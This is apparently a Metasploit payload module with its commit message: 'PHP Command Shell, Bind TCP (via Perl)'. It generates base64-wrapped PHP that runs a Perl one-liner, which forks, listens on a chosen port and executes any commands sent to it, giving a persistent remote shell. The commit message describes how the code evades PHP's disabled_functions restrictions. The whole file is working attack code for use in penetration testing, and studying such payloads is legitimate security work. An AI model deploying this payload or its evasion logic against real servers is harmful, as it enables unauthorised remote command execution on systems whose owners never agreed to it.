jvoisin
b7fff5926b
The `php_preamble`/`php_system_block` combo has builtin low-hanging evasion for PHP's `disabled_functions` configuration (eg. `system` might not be available but `shell_exec` is), so use it instead of hardcoding `system`. This commit also brings modules/payloads/singles/php/reverse_perl.rb's style more in line with the other uses of `php_preamble`/`php_system_block`. Oh, and it makes lib/msf/core/payload/php.rb work on older Ruby version as well. Co-authored-by: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com>
60 lines
1.6 KiB
Ruby
60 lines
1.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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include Msf::Payload::Php
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'PHP Command Shell, Bind TCP (via Perl)',
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'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',
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'Author' => ['Samy <samy[at]samy.pl>', 'cazz'],
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'License' => BSD_LICENSE,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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vars = Rex::RandomIdentifier::Generator.new
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dis = "$#{vars[:dis]}"
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shell = <<-END_OF_PHP_CODE
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#{php_preamble(disabled_varname: dis)}
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$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
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#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
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END_OF_PHP_CODE
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return super + shell
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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cmd = "perl -MIO -e '$p=fork();exit,if$p;" +
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"$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;" +
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"$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
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return cmd
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end
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end
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